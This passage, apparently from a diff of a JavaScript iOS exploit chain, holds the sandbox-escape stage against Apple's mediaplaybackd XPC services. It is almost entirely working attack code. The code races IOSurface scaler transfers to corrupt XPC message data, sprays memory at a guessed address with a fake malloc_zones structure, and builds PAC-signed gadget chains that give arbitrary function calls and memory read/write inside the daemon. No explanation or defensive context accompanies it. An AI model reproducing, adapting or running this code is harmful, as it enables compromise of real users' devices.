(${size.hex()}) is larger than EXP size: ${SBX1SBX1_EXP_SIZE}`); + return; + } + let source_address = ctx.source_surface_address + MAX_TRANSFER_BYTES; + memcpy(source_address, buffer, size); + } + function sbx1sbx1_exp_write_perform(ctx) { + let kr = KERN_SUCCESS; + kr = scaler_transfer(ctx.connection, ctx.source_surface, ctx.destination_surface); + return kr; + } + function sbx1sbx1_exp_write_prepare_and_perform(ctx, buffer, size) { + sbx1sbx1_exp_write_prepare(ctx, buffer, size); + sbx1sbx1_exp_write_perform(ctx); + } + function sbx1sbx1_exp_write_thread_setup(ctx, buffer_size, original_buffer, modified_buffer, target_offset) { + let ret = 0n; + let lock = calloc(1n, 8n); + uwrite64(lock, 0x41n); + let transform_args = calloc(1n, SCALER_TRANSFORM_ARGS_SIZE); + uwrite64(transform_args, IOSurfaceGetID(ctx.source_surface)); + uwrite64(transform_args + 4n, IOSurfaceGetID(ctx.destination_surface)); + let transform_ctx = calloc(1n, 64n); + uwrite64(transform_ctx + 36n, ctx.connection); + let control_stack_size = 8n * 0x4000n; + let data_stack_size = 8n * 0x4000n; + let control_stack = tcall_create_stack(control_stack_size); + let data_stack = tcall_create_stack(data_stack_size); + tcall_setup_control_stack(control_stack); + tcall_setup_data_stack(data_stack); + let counter_ptr = calloc(1n, 8n); + let attr = calloc(1n, 64n); + ret = pthread_attr_init(attr); + assert(ret == 0n); + pthread_attr_setstacksize(attr, control_stack_size); + pthread_attr_setstackaddr(attr, control_stack.current); + tcall_adjust_control_stack(control_stack); + tcall_init_call(control_stack); + tcall_insert_call(control_stack, data_stack, false, func_resolve("__ulock_wait"), UL_COMPARE_AND_WAIT, lock, 0x41n, 0n, 0n, 0n, 0n, 0n); + tcall_insert_call(control_stack, data_stack, false, func_resolve("memcpy"), ctx.source_surface_address + MAX_TRANSFER_BYTES + target_offset, modified_buffer, buffer_size, 0n, 0n, 0n, 0n, 0n); + tcall_insert_call(control_stack, data_stack, false, transformSurface_gadget, transform_ctx, transform_args, 0n, 0n, 0n, 0n, 0n, 0n); + tcall_insert_call(control_stack, data_stack, false, func_resolve("memcpy"), ctx.source_surface_address + MAX_TRANSFER_BYTES + target_offset, original_buffer, buffer_size, 0n, 0n, 0n, 0n, 0n); + tcall_insert_call(control_stack, data_stack, true, transformSurface_gadget, transform_ctx, transform_args, 0n, 0n, 0n, 0n, 0n, 0n); + let thread = tcall_create_thread(attr); + set_realtime_priority(thread, 0, 50, 50); + let t = {}; + t.thread = thread; + t.lock = lock; + return t; + } + function test_msg_create(connection) { + let o = oxpc_dictionary_alloc(); + let null_o = oxpc_null_alloc(); + oxpc_dictionary_append(o, xpc_string_create("test"), null_o); + let payload = oxpc_object_serialize_with_header(o); + let port_list = payload["ports"]; + let serialized_payload_size = payload["total_size"]; + let serialized_payload = payload["buffer"]; + let port_ptr = new_uint64_t(); + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, port_ptr); + let port = uread32(port_ptr); + mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + oxpc_port_list_append(port_list, port); + let message = oxpc_build_mach_message(serialized_payload, serialized_payload_size, 1n, port_list, connection["client_port"], connection["reply_port"]); + let xpc_msg_size = message["message_size"]; + let xpc_msg = message["message"]; + let msg = {}; + msg.msg = xpc_msg; + msg.msg_size = xpc_msg_size; + return msg; + } + function set_realtime_priority_us(thread, period_us, computation_us, constraint_us) { + let clock2abs_us = Number(tb_denom) / Number(tb_numer) * 1000; + let policy = gpu_fcall(CALLOC, 1n, 32n); + uwrite64(policy + 0n, BigInt(period_us * clock2abs_us)); + uwrite64(policy + 4n, BigInt(computation_us * clock2abs_us)); + uwrite64(policy + 8n, BigInt(constraint_us * clock2abs_us)); + let mach_thread = gpu_fcall(PTHREAD_MACH_THREAD_NP, thread); + let kret = gpu_fcall(THREAD_POLICY_SET, mach_thread, 2n, policy, 4n); + assert(kret == 0n); + } + function set_realtime_priority(thread, period_ms, computation_ms, constraint_ms) { + let clock2abs_ms = Number(tb_denom) / Number(tb_numer) * 1000000; + let policy = gpu_fcall(CALLOC, 1n, 32n); + uwrite64(policy + 0n, BigInt(period_ms * clock2abs_ms)); + uwrite64(policy + 4n, BigInt(computation_ms * clock2abs_ms)); + uwrite64(policy + 8n, BigInt(constraint_ms * clock2abs_ms)); + let mach_thread = gpu_fcall(PTHREAD_MACH_THREAD_NP, thread); + let kret = gpu_fcall(THREAD_POLICY_SET, mach_thread, 2n, policy, 4n); + assert(kret == 0n); + } + let is_a12_devices = false; + function wc_calloc(n, sz) { + return wc_fcall(xpac(func_resolve("calloc")), n, sz); + } + function wc_strcmp(s1, s2) { + return wc_fcall(xpac(func_resolve("strcmp")), s1, s2); + } + function wc_strstr(s1, s2) { + return wc_fcall(xpac(func_resolve("strstr")), s1, s2); + } + function wc_get_device_machine() { + let utsname = wc_calloc(256n, 5n); + wc_fcall(xpac(func_resolve("uname")), utsname); + return utsname + 256n * 4n; + } + let device_machine = wc_get_device_machine(); + function sbx1sbx1() { + let kr = KERN_SUCCESS; + LOG("Sbx1 starting..."); + if (wc_strstr(device_machine, wc_get_cstring("iPhone11,")) != 0n) { + is_a12_devices = true; + LOG("Running on A12 Devices"); + } else { + is_a12_devices = false; + LOG("Running on non-A12 Devices"); + } + let surface = create_iosurface(surface_size); + let spray_memory_object = setup_guess_address(surface); + let sbx1sbx1_ctx = sbx1sbx1_exp(SBX1SBX1_EXP_SIZE); + LOG(`connection: ${sbx1sbx1_ctx.connection.hex()}`); + LOG(`source_surface: ${sbx1sbx1_ctx.source_surface.hex()}`); + LOG(`source_surface_address: ${sbx1sbx1_ctx.source_surface_address.hex()}`); + LOG(`source_surface_size: ${sbx1sbx1_ctx.source_surface_size.hex()}`); + LOG(`destination_surface: ${sbx1sbx1_ctx.destination_surface.hex()}`); + LOG(`destination_surface_address: ${sbx1sbx1_ctx.destination_surface_address.hex()}`); + LOG(`destination_surface_size: ${sbx1sbx1_ctx.destination_surface_size.hex()}`); + let test = calloc(1n, 8n); + uwrite64(test, 0xbabababababababan); + sbx1sbx1_exp_write_prepare(sbx1sbx1_ctx, test, 8n); + sbx1sbx1_exp_write_perform(sbx1sbx1_ctx); + let key_hdr_sz = 0x28n; + let big_key_size = PAGE_SIZE * 8n - key_hdr_sz; + let small_key_size = PAGE_SIZE * 4n - key_hdr_sz; + let random_key_size = PAGE_SIZE * 1n - key_hdr_sz; + let big_key = calloc(1n, big_key_size); + let small_key = calloc(1n, small_key_size); + let random_key = calloc(1n, random_key_size); + memset(big_key, 0x41n, big_key_size - 1n); + memset(small_key, 0x42n, small_key_size - 1n); + memset(random_key, 0x43n, random_key_size - 1n); + let o = oxpc_dictionary_alloc(); + let null_o = oxpc_null_alloc(); + oxpc_dictionary_append(o, big_key, null_o); + uwrite8(big_key, uread8(big_key) + 0x1); + for (let i = 0n; i < 4n; i++) { + oxpc_dictionary_append(o, small_key, null_o); + uwrite8(small_key, uread8(small_key) + 0x1); + } + oxpc_dictionary_append(o, big_key, null_o); + oxpc_dictionary_append(o, random_key, null_o); + free(big_key); + free(small_key); + free(random_key); + let port_ptr = new_uint64_t(); + mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, port_ptr); + let port = uread32(port_ptr); + mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND); + let payload = oxpc_object_serialize_with_header(o); + let port_list = payload["ports"]; + let serialized_payload_size = payload["total_size"]; + let serialized_payload = payload["buffer"]; + oxpc_port_list_append(port_list, port); + let magic_ptr = new_uint64_t(0x41414142n); + let start_of_target_string = memmem(serialized_payload, serialized_payload_size, magic_ptr, 0x4n); + assert(start_of_target_string != NULL, "Failed to find target string"); + uwrite8(start_of_target_string, 0x41); + let end_of_target_string = start_of_target_string + big_key_size; + let end_of_target_string_page = trunc_page(end_of_target_string); + let ool_string_offset = start_of_target_string - serialized_payload; + let target_offset = end_of_target_string - end_of_target_string_page - 1n; + LOG("end_of_target_string_page: " + end_of_target_string_page.hex()); + LOG("target_offset: " + target_offset.hex()); + let original_ool_page = calloc(1n, PAGE_SIZE); + memcpy(original_ool_page, end_of_target_string_page, PAGE_SIZE); + let tmp_ptr = new_uint64_t(end_of_target_string_page); + let cur_protection_ptr = new_uint64_t(VM_PROT_DEFAULT); + let max_protection_ptr = new_uint64_t(VM_PROT_DEFAULT); + kr = mach_vm_remap(mach_task_self(), tmp_ptr, PAGE_SIZE, 0n, VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, mach_task_self(), sbx1sbx1_ctx.destination_surface_address + MAX_TRANSFER_BYTES, 1n, cur_protection_ptr, max_protection_ptr, VM_INHERIT_NONE); + assert(kr == KERN_SUCCESS); + sbx1sbx1_exp_write_prepare_and_perform(sbx1sbx1_ctx, original_ool_page, PAGE_SIZE); + let buffer_size = 16n + 1n; + let original_buffer = calloc(1n, buffer_size); + memcpy(original_buffer, original_ool_page + target_offset, buffer_size); + let modified_buffer = calloc(1n, buffer_size); + uwrite8(modified_buffer, 0x41); + uwrite64(modified_buffer + 1n, 0xbabababababababan); + let n_of_current_exp_write_threads = 1n; + let n_of_exp_write_threads = get_ncpu(); + let exp_write_threads = []; + LOG(`Using ${n_of_exp_write_threads} EXP target threads for this configuration.`); + for (let i = 0n; i < n_of_exp_write_threads; i++) { + exp_write_threads[i] = sbx1sbx1_exp_write_thread_setup(sbx1sbx1_ctx, buffer_size, original_buffer, modified_buffer, target_offset); + } + let success = false; + let services = ["com.apple.coremedia.mediaplaybackd.asset.xpc", "com.apple.coremedia.mediaplaybackd.assetimagegenerator.xpc", "com.apple.coremedia.mediaplaybackd.cpe.xpc", "com.apple.coremedia.mediaplaybackd.cpeprotector.xpc", "com.apple.coremedia.mediaplaybackd.figcontentkeyboss.xpc", "com.apple.coremedia.mediaplaybackd.figcontentkeysession.xpc", "com.apple.coremedia.mediaplaybackd.figcpecryptor.xpc", "com.apple.coremedia.mediaplaybackd.figmetriceventtimeline.xpc", "com.apple.coremedia.mediaplaybackd.formatreader.xpc", "com.apple.coremedia.mediaplaybackd.visualcontext.xpc"]; + let services_idx = 0n; + set_realtime_priority(gpu_fcall(PTHREAD_SELF), 0, 50, 50); + pthread_yield_np(pthread_self()); + for (let attempt = 0n; attempt < 8n; attempt++) { + if (services_idx >= services.length) { + break; + } + let TARGET_XPC_SERVICE = services[services_idx]; + let connection = xpcjs_xpc_connect(TARGET_XPC_SERVICE); + if (connection == null) { + LOG(`connection failed, retrying again with a different endpoint...`); + continue; + } + LOG(`connected to ${TARGET_XPC_SERVICE}`); + LOG(`connection client_port: ${connection["client_port"].hex()}`); + LOG(`connection reply_port: ${connection["reply_port"].hex()}`); + let test_msg = test_msg_create(connection); + let message = oxpc_build_mach_message(serialized_payload, serialized_payload_size, 1n, port_list, connection["client_port"], connection["reply_port"]); + let xpc_msg_size = message["message_size"]; + let xpc_msg = message["message"]; + let mach_msg_option = MACH_SEND_MSG | MACH_SEND_TIMEOUT; + let mach_msg_send_size = xpc_msg_size; + let mach_msg_rcv_size = xpc_msg_size + PAGE_SIZE; + let mach_msg_rcv_name = connection["reply_port"]; + spray_guess_address(spray_memory_object, surface); + uwrite64(modified_buffer + 1n + 8n, guess_address + 0x110n); + let n_of_max_exp_attempts = 8192n; + let yield_threshold = 256n; + for (let exp_attempt = 0n; exp_attempt < n_of_max_exp_attempts; exp_attempt++) { + thread_group_unlock(exp_write_threads, n_of_current_exp_write_threads); + kr = mach_msg(xpc_msg, mach_msg_option, mach_msg_send_size, 0n, 0n, 15n, MACH_PORT_NULL); + if (kr != MACH_SEND_TIMED_OUT) { + if (kr != KERN_SUCCESS) { + LOG(`[!] Unexpected return code from mach_msg: ${kr.hex()} for exp_attempt: ${exp_attempt}, retrying...`); + services_idx++; + thread_group_lock(exp_write_threads, n_of_current_exp_write_threads); + break; + } + if (exp_attempt != 0n && exp_attempt % yield_threshold == 0n) { + thread_group_lock(exp_write_threads, n_of_current_exp_write_threads); + LOG("Yielding..."); + pthread_yield_np(pthread_self()); + thread_group_unlock(exp_write_threads, n_of_current_exp_write_threads); + } + if (exp_attempt > n_of_max_exp_attempts - 32n) { + LOG(`too many attempts, exp_attempt: ${exp_attempt}...`); + thread_group_lock(exp_write_threads, n_of_current_exp_write_threads); + return false; + } + thread_group_lock(exp_write_threads, n_of_current_exp_write_threads); + n_of_current_exp_write_threads = (n_of_current_exp_write_threads + 1n) % n_of_exp_write_threads; + if (n_of_current_exp_write_threads == 0n) { + n_of_current_exp_write_threads = 1n; + } + continue; + } + thread_group_lock(exp_write_threads, n_of_current_exp_write_threads); + LOG(`Likely successful EXP bypass attempt (#${exp_attempt}), checking...`); + kr = mach_msg(test_msg.msg, MACH_SEND_MSG | MACH_SEND_TIMEOUT | MACH_RCV_MSG | MACH_RCV_TIMEOUT, test_msg.msg_size, test_msg.msg_size + PAGE_SIZE, connection["reply_port"], 15n, MACH_PORT_NULL); + if (kr != MACH_SEND_TIMED_OUT) { + LOG("[x] Error: Daemon likely crashed, retrying..."); + break; + } + success = true; + break; + } + let alive = false; + if (success) { + while (true) { + surface_address_remote = uread64(surface_address + 0x8n); + if (surface_address_remote != 0n) { + break; + } + } + LOG(`surface_address_remote: ${surface_address_remote.hex()}`); + setup_nativefcall_fcall(); + { + LOG("[i] nativefcall setup done..."); + lazy_fcall("usleep", 5n * 1000n); + mpd_fcall_noreturn(CALLOC, 0x100n, 1n, 0n, 0n, 0n, 0n, 0n, 0n); + while (true) { + let interval = Date.now(); + let test_msg = test_msg_create(connection); + kr = mach_msg(test_msg.msg, MACH_SEND_MSG | MACH_SEND_TIMEOUT | MACH_RCV_MSG | MACH_RCV_TIMEOUT, test_msg.msg_size, test_msg.msg_size + PAGE_SIZE, connection["reply_port"], 1n, MACH_PORT_NULL); + interval = Date.now() - interval; + LOG(`msg took: ${interval} ms`); + if (kr == MACH_SEND_TIMED_OUT) { + if (mpd_fcall_check_for_return() == false) { + continue; + } + LOG(`[i] calloc() survived !!!`); + alive = true; + break; + } else { + LOG(`[!] calloc() crashed ${kr.hex()} !!! Probably wrong malloc_zones guess address !!!`); + services_idx = 0n; + alive = false; + break; + } + } + } + + //mach_port_deallocate(mach_task_self(), connection["reply_port"]); + mach_port_deallocate(mach_task_self(), connection["client_port"]); + + if (alive) { + break; + } + } + } + if (success == false) { + LOG("[x] Error: Reached maximum number of attempts, aborting..."); + return false; + } + LOG("done"); + return true; + } + function mpd_fcall_check_for_return() { + let final_fcall_buf_local = surface_address + 0x400n; + let mpd_fcall_retval_ptr = final_fcall_buf_local + 0x28n; + let r = uread64(mpd_fcall_retval_ptr); + if (r != 0xcafedeadn) { + return true; + } else { + return false; + } + } + const MPD_FCALL_TIMED_OUT = 1n; + const MPD_FCALL_DEFAULT_TIMEOUT = 500n; + function mpd_fcall_internal(address, x0, x1, x2, x3, x4, x5, x6, x7, noreturn, do_exit = false, timeout = false) { + let nativefcall_buf_local = surface_address + 0x100n; + let final_fcall_buf_local = surface_address + 0x400n; + let final_fcall_args_local = surface_address + 0x500n; + let final_fcall_buf_remote = surface_address_remote + 0x400n; + let final_fcall_args_remote = surface_address_remote + 0x500n; + uwrite64(final_fcall_args_local + 0n * 0x8n, x0); + uwrite64(final_fcall_args_local + 1n * 0x8n, x1); + uwrite64(final_fcall_args_local + 2n * 0x8n, x2); + uwrite64(final_fcall_args_local + 3n * 0x8n, x3); + uwrite64(final_fcall_args_local + 4n * 0x8n, x4); + uwrite64(final_fcall_args_local + 5n * 0x8n, x5); + uwrite64(final_fcall_args_local + 6n * 0x8n, x6); + uwrite64(final_fcall_args_local + 7n * 0x8n, x7); + let mpd_fcall_retval_ptr = final_fcall_buf_local + 0x28n; + uwrite64(mpd_fcall_retval_ptr, 0xcafedeadn); + nativefcall_insert_fcall(final_fcall_buf_local, final_fcall_buf_remote, address, final_fcall_args_remote, true); + uwrite64(nativefcall_buf_local, pacia(_4_fcalls + 12n * 4n, 0n)); + if (noreturn) { + return; + } + let start = Date.now(); + while (uread64(mpd_fcall_retval_ptr) == 0xcafedeadn) { + if (timeout) { + let interval = Date.now() - start; + if (interval > MPD_FCALL_DEFAULT_TIMEOUT) { + return MPD_FCALL_TIMED_OUT; + } + } + } + let return_value = uread64(mpd_fcall_retval_ptr); + return return_value; + } + function mpd_fcall(address, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n, x6 = 0n, x7 = 0n) { + return mpd_fcall_internal(address, x0, x1, x2, x3, x4, x5, x6, x7, false); + } + function mpd_fcall_noreturn(address, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n, x6 = 0n, x7 = 0n) { + return mpd_fcall_internal(address, x0, x1, x2, x3, x4, x5, x6, x7, true); + } + function mpd_fcall_noreturn_exit(address, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n, x6 = 0n, x7 = 0n) { + return mpd_fcall_internal(address, x0, x1, x2, x3, x4, x5, x6, x7, true, true); + } + function mpd_fcall_timeout(address, x0 = 0n, x1 = 0n, x2 = 0n, x3 = 0n, x4 = 0n, x5 = 0n, x6 = 0n, x7 = 0n) { + return mpd_fcall_internal(address, x0, x1, x2, x3, x4, x5, x6, x7, false, false, true); + } + function mpd_read64(address) { + uwrite64(surface_address + 0x2100n, 0n); + mpd_fcall(MEMCPY, surface_address_remote + 0x2100n, address, 8n, 0n, 0n, 0n, 0n, 0n); + return uread64(surface_address + 0x2100n); + } + function mpd_write64(address, value) { + uwrite64(surface_address + 0x2100n, value); + mpd_fcall(MEMCPY, address, surface_address_remote + 0x2100n, 8n, 0n, 0n, 0n, 0n, 0n); + } + function round_down_power_of_two(n) { + if (n < 1n) { + return 0n; + } + let power = 1n; + while (power <= n) { + power <<= 1n; + } + return power >> 1n; + } + function get_event_handler_block() { + let event_handler_block = calloc(1n, 0x100n); + uwrite64(event_handler_block + 8n * 1n, 0x50000000n); + let event_handler_block_impl = xpac(func_resolve("getpid")); + let event_handler_block_impl_addr = event_handler_block + 0x10n; + let event_handler_block_impl_sign = pacia(event_handler_block_impl, event_handler_block_impl_addr); + uwrite64(event_handler_block_impl_addr, event_handler_block_impl_sign); + return event_handler_block; + } + function nativefcall_insert_fcall(x0_local, x0_remote, pc, args, get_return_value) { + let target_pc = 0n; + let load_x1x3x8_args_local = 0n; + let load_x1x3x8_args_remote = 0n; + if (get_return_value) { + load_x1x3x8_args_local = x0_local + 0x40n; + load_x1x3x8_args_remote = x0_remote + 0x40n; + uwrite64(x0_local + 0x0n, load_x1x3x8_args_remote); + uwrite64(x0_local + 0x8n, pacia(load_x1x3x8, 0n)); + target_pc = _CFObjectCopyProperty; + } else { + load_x1x3x8_args_local = x0_local; + load_x1x3x8_args_remote = x0_remote; + target_pc = load_x1x3x8; + } + uwrite64(load_x1x3x8_args_local + 0x20n, load_x1x3x8_args_remote + 0x40n); + uwrite64(load_x1x3x8_args_local + 0x28n, args - 0x10n); + uwrite64(load_x1x3x8_args_local + 0x30n, pacia(pc.noPAC(), 0xC2D0n)); + uwrite64(load_x1x3x8_args_local + 0x50n, pacia(fcall_14_args_write_x8, load_x1x3x8_args_remote + 0x50n)); + return target_pc; + } + function setup_nativefcall(surface, x0_local, x0_remote) { + let surface_id = IOSurfaceGetID(surface); + let surface_address = IOSurfaceGetBaseAddress(surface); + LOG(`surface_address: ${surface_address.hex()}`); + LOG(`surface_id: ${surface_id.hex()}`); + let first_fcall_args_local = x0_local + 0x100n; + let lookup_surface_buf_local = x0_local + 0x200n; + let lookup_surface_args_local = x0_local + 0x300n; + let first_fcall_args_remote = x0_remote + 0x100n; + let lookup_surface_buf_remote = x0_remote + 0x200n; + let lookup_surface_args_remote = x0_remote + 0x300n; + uwrite64(lookup_surface_args_local, surface_id); + let lookup_wrapper_pc = nativefcall_insert_fcall(lookup_surface_buf_local, lookup_surface_buf_remote, func_resolve("IOSurfaceLookup").noPAC(), lookup_surface_args_remote, false); + uwrite64(first_fcall_args_local, lookup_surface_buf_remote); + uwrite64(first_fcall_args_local + 0x18n, pacia(lookup_wrapper_pc, 0x4EB9n)); + uwrite64(first_fcall_args_local + 0x20n, pacia(func_resolve("IOSurfaceGetBaseAddress").noPAC(), 0x76DFn)); + uwrite64(first_fcall_args_local + 0x28n, pacia(store_x0_x0, 0x1558n)); + uwrite64(first_fcall_args_local + 0x30n, pacia(self_loop, 0x4F6Bn)); + uwrite64(surface_address, pacia(self_loop, 0n)); + let first_fcall_pc = nativefcall_insert_fcall(x0_local, x0_remote, _4_fcalls, first_fcall_args_remote, false); + uwrite64(x0_local + 0x10n, pacia(first_fcall_pc, x0_remote + 0x10n)); + } + function setup_nativefcall_fcall() { + let nativefcall_buf_local = surface_address + 0x100n; + let nativefcall_args_local = surface_address + 0x200n; + let nativefcall_fcall_buf_local = surface_address + 0x300n; + let final_fcall_buf_local = surface_address + 0x400n; + let final_fcall_args_local = surface_address + 0x500n; + let nativefcall_buf_remote = surface_address_remote + 0x100n; + let nativefcall_args_remote = surface_address_remote + 0x200n; + let nativefcall_fcall_buf_remote = surface_address_remote + 0x300n; + let final_fcall_buf_remote = surface_address_remote + 0x400n; + let final_fcall_args_remote = surface_address_remote + 0x500n; + let init_fcall = nativefcall_insert_fcall(surface_address, surface_address_remote, _4_fcalls, nativefcall_args_remote, false); + let nativefcall_fcall_wrapper_pc = nativefcall_insert_fcall(nativefcall_buf_local, nativefcall_buf_remote, _4_fcalls, nativefcall_fcall_buf_remote, false); + uwrite64(nativefcall_args_local, nativefcall_buf_remote); + uwrite64(nativefcall_args_local + 0x18n, pacia(store_x0_x0 + 4n, 0x4EB9n)); + uwrite64(nativefcall_args_local + 0x20n, pacia(nativefcall_fcall_wrapper_pc, 0x76DFn)); + uwrite64(nativefcall_args_local + 0x28n, pacia(mov_x0_x22, 0x1558n)); + uwrite64(nativefcall_args_local + 0x30n, pacia(self_loop, 0x4F6Bn)); + let final_fcall_wrapper_pc = nativefcall_insert_fcall(final_fcall_buf_local, final_fcall_buf_remote, func_resolve("getpid").noPAC(), final_fcall_args_remote, true); + uwrite64(nativefcall_fcall_buf_local, final_fcall_buf_remote); + uwrite64(nativefcall_fcall_buf_local + 0x8n, pacia(self_loop, 0n)); + uwrite64(nativefcall_fcall_buf_local + 0x10n, nativefcall_buf_remote); + uwrite64(nativefcall_fcall_buf_local + 0x18n, pacia(add_x22_0x90, 0x4EB9n)); + uwrite64(nativefcall_fcall_buf_local + 0x20n, pacia(str_x1_x2, 0x76DFn)); + uwrite64(nativefcall_fcall_buf_local + 0x28n, pacia(final_fcall_wrapper_pc, 0x1558n)); + uwrite64(nativefcall_fcall_buf_local + 0x30n, pacia(str_x1_x2 + 4n, 0x4F6Bn)); + uwrite64(final_fcall_buf_local + 0x28n, 0xcafedeadn); + uwrite64(nativefcall_buf_local, pacia(self_loop, 0n)); + uwrite64(surface_address, pacia(init_fcall, 0n)); + while (uread64(final_fcall_buf_local + 0x28n) == 0xcafedeadn) { + usleep(1n); + } + } + function reset_nativefcall(surface, x0_remote) { + uwrite64(surface_address, pacia(self_loop, 0n)); + } + const guess_address = 0x122604000n; + let nativefcall_remote = 0n; + const spray_sz = 1024n * 1024n * 1024n / 4n - PAGE_SIZE; + function setup_guess_address(surface) { + let kr = KERN_SUCCESS; + let spray_address_ptr = new_uint64_t(); + kr = mach_vm_allocate(mach_task_self(), spray_address_ptr, spray_sz, VM_FLAGS_ANYWHERE); + let spray_address = uread64(spray_address_ptr); + let guess_address_local = spray_address; + let guess_address_remote = guess_address; + guess_address_local += 0x110n; + guess_address_remote += 0x110n; + let malloc_zones = func_resolve("malloc_zones"); + let nano_zone = uread64(uread64(malloc_zones)); + let nano_zone_ptr = malloc_zones + 0x8n; + while (true) { + if (nano_zone == uread64(nano_zone_ptr)) { + break; + } else { + nano_zone_ptr += 8n; + } + } + LOG(`malloc_zones: ${malloc_zones.hex()}`); + LOG(`nano_zone_ptr: ${nano_zone_ptr.hex()}`); + let fake_obj_0 = guess_address_local; + let fake_obj_1 = guess_address_local + 0x100n; + let fake_malloc_zones = guess_address_local + 0x200n; + let fake_obj_1_remote = guess_address_remote + 0x100n; + let fake_malloc_zones_remote = guess_address_remote + 0x200n; + uwrite64(fake_malloc_zones, fake_malloc_zones_remote); + uwrite64(fake_malloc_zones + 0x68n, 0x1c000n); + uwrite64(fake_malloc_zones + 0x90n, pacia(xpac(malloc_restore_0_gadget), 0xa9d9n)); + uwrite64(fake_obj_0 + 0x00n, fake_obj_1_remote); + uwrite64(fake_obj_0 + 0x08n, 0n); + uwrite64(fake_obj_0 + 0x18n, 2n); + uwrite64(fake_obj_1 + 0x00n, fake_malloc_zones_remote); + uwrite64(fake_obj_1 + 0x08n, malloc_zones); + uwrite64(fake_obj_1 + 0x10n, 0x8000000000000000n); + uwrite64(fake_obj_1 + 0x18n, 1n); + let x0_local = fake_malloc_zones; + let x0_remote = fake_malloc_zones_remote; + uwrite64(x0_local + 48n, pacia(malloc_restore_1_gadget, 0n)); + uwrite64(x0_local + 56n, nano_zone_ptr - 0x8n); + uwrite64(x0_local + 32n, x0_remote + 0x100n); + x0_local = x0_local + 0x100n; + x0_remote = x0_remote + 0x100n; + uwrite64(x0_local + 0x10n, pacia(malloc_restore_2_gadget, x0_remote + 0x10n)); + uwrite64(x0_local + 32n, x0_remote + 0x20n); + x0_local = x0_local + 0x20n; + x0_remote = x0_remote + 0x20n; + uwrite64(x0_local + 0x10n, pacia(malloc_restore_3_gadget, x0_remote + 0x10n)); + uwrite64(x0_local + 40n, malloc_zones); + uwrite64(x0_local + 32n, x0_remote + 0x100n); + x0_local = x0_local + 0x100n; + x0_remote = x0_remote + 0x100n; + nativefcall_remote = x0_remote; + setup_nativefcall(surface, x0_local, nativefcall_remote); + let lowest_power_of_two_size = round_down_power_of_two(spray_sz); + for (let i = PAGE_SIZE; i < lowest_power_of_two_size; i *= 2n) { + kr = mach_vm_copy(mach_task_self(), spray_address, i, spray_address + i); + assert(kr == KERN_SUCCESS); + } + let remaining_size = spray_sz - lowest_power_of_two_size; + if (remaining_size != 0n) { + let remaining_copy_block_pages = 1n; + let remaining_copy_block_size = remaining_copy_block_pages * PAGE_SIZE; + for (let i = 0n; i < remaining_size; i += remaining_copy_block_size) { + let dest_copy_addr = spray_address + lowest_power_of_two_size + i; + kr = mach_vm_copy(mach_task_self(), spray_address, remaining_copy_block_size, dest_copy_addr); + assert(kr == KERN_SUCCESS); + } + } + let memory_object_ptr = calloc(1n, 8n); + let memory_object_size_ptr = calloc(1n, 8n); + uwrite64(memory_object_size_ptr, spray_sz); + kr = mach_make_memory_entry_64(mach_task_self(), memory_object_size_ptr, spray_address, MAP_MEM_VM_SHARE | VM_PROT_DEFAULT, memory_object_ptr, MACH_PORT_NULL); + assert(kr == KERN_SUCCESS); + let memory_object_size = uread64(memory_object_size_ptr); + assert(memory_object_size == spray_sz); + let memory_object = uread64(memory_object_ptr); + free(memory_object_size_ptr); + free(memory_object_ptr); + mach_vm_deallocate(mach_task_self(), spray_address, spray_sz); + return memory_object; + } + function spray_guess_address(spray_memory_object, surface) { + let kr = KERN_SUCCESS; + let spray_address_ptr = new_uint64_t(); + kr = mach_vm_map(mach_task_self(), spray_address_ptr, spray_sz, 0n, VM_FLAGS_ANYWHERE, spray_memory_object, 0n, 1n, (VM_PROT_DEFAULT << 32n) + VM_PROT_DEFAULT, VM_INHERIT_NONE); + assert(kr == KERN_SUCCESS); + let spray_address = uread64(spray_address_ptr); + reset_nativefcall(surface, nativefcall_remote); + map_iosurface(surface); + let endpoint_name = get_cstring("com.apple.coremedia.mediaplaybackd.sandboxserver.xpc"); + let block_impl = get_event_handler_block(); + let conn = xpc_connection_create_mach_service(endpoint_name, NULL, 0n); + xpc_connection_set_event_handler(conn, block_impl); + xpc_connection_activate(conn); + let receivePort_ptr = new_uint64_t(); + kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, receivePort_ptr); + let receivePort = uread32(receivePort_ptr); + kr = mach_port_insert_right(mach_task_self(), receivePort, receivePort, MACH_MSG_TYPE_MAKE_SEND); + let conn2 = xpc_connection_create_mach_service(endpoint_name, NULL, 0n); + uwrite_bitsize(conn2 + 0x48n, receivePort, 32n); + xpc_connection_set_event_handler(conn2, block_impl); + xpc_connection_activate(conn2); + let endpoint = xpc_endpoint_create(conn2); + let msg = xpc_dictionary_create_empty(); + xpc_dictionary_set_uint64(msg, get_cstring(".Operation"), 0x2E6F7267n); + xpc_dictionary_set_value(msg, get_cstring("MemoryOriginEndpoint"), endpoint); + xpc_dictionary_set_uint64(msg, get_cstring("MemoryOriginServerToken"), 0x4242424243434343n); + let ddata = dispatch_data_create(spray_address, spray_sz, 0n, block_impl); + let data = xpc_data_create_with_dispatch_data(ddata); + if (wc_strcmp(device_machine, wc_get_cstring("iPhone12,8")) == 0n || wc_strcmp(device_machine, wc_get_cstring("iPhone11,8")) == 0n) { + xpc_dictionary_set_value(msg, get_cstring("spray"), data); + xpc_dictionary_set_value(msg, get_cstring("spray2"), data); + } else { + xpc_dictionary_set_value(msg, get_cstring("spray"), data); + xpc_dictionary_set_value(msg, get_cstring("spray2"), data); + xpc_dictionary_set_value(msg, get_cstring("spray3"), data); + xpc_dictionary_set_value(msg, get_cstring("spray4"), data); + } + xpc_release(data); + LOG(`Sending message...`); + xpc_connection_send_message_with_reply(conn, msg, NULL, block_impl); + xpc_release(msg); + xpc_connection_cancel(conn); + xpc_connection_cancel(conn2); + mach_vm_deallocate(mach_task_self(), spray_address, spray_sz); + LOG(`guess_address: ${guess_address.hex()}`); + return guess_address; + } + function mpd_malloc(sz) { + 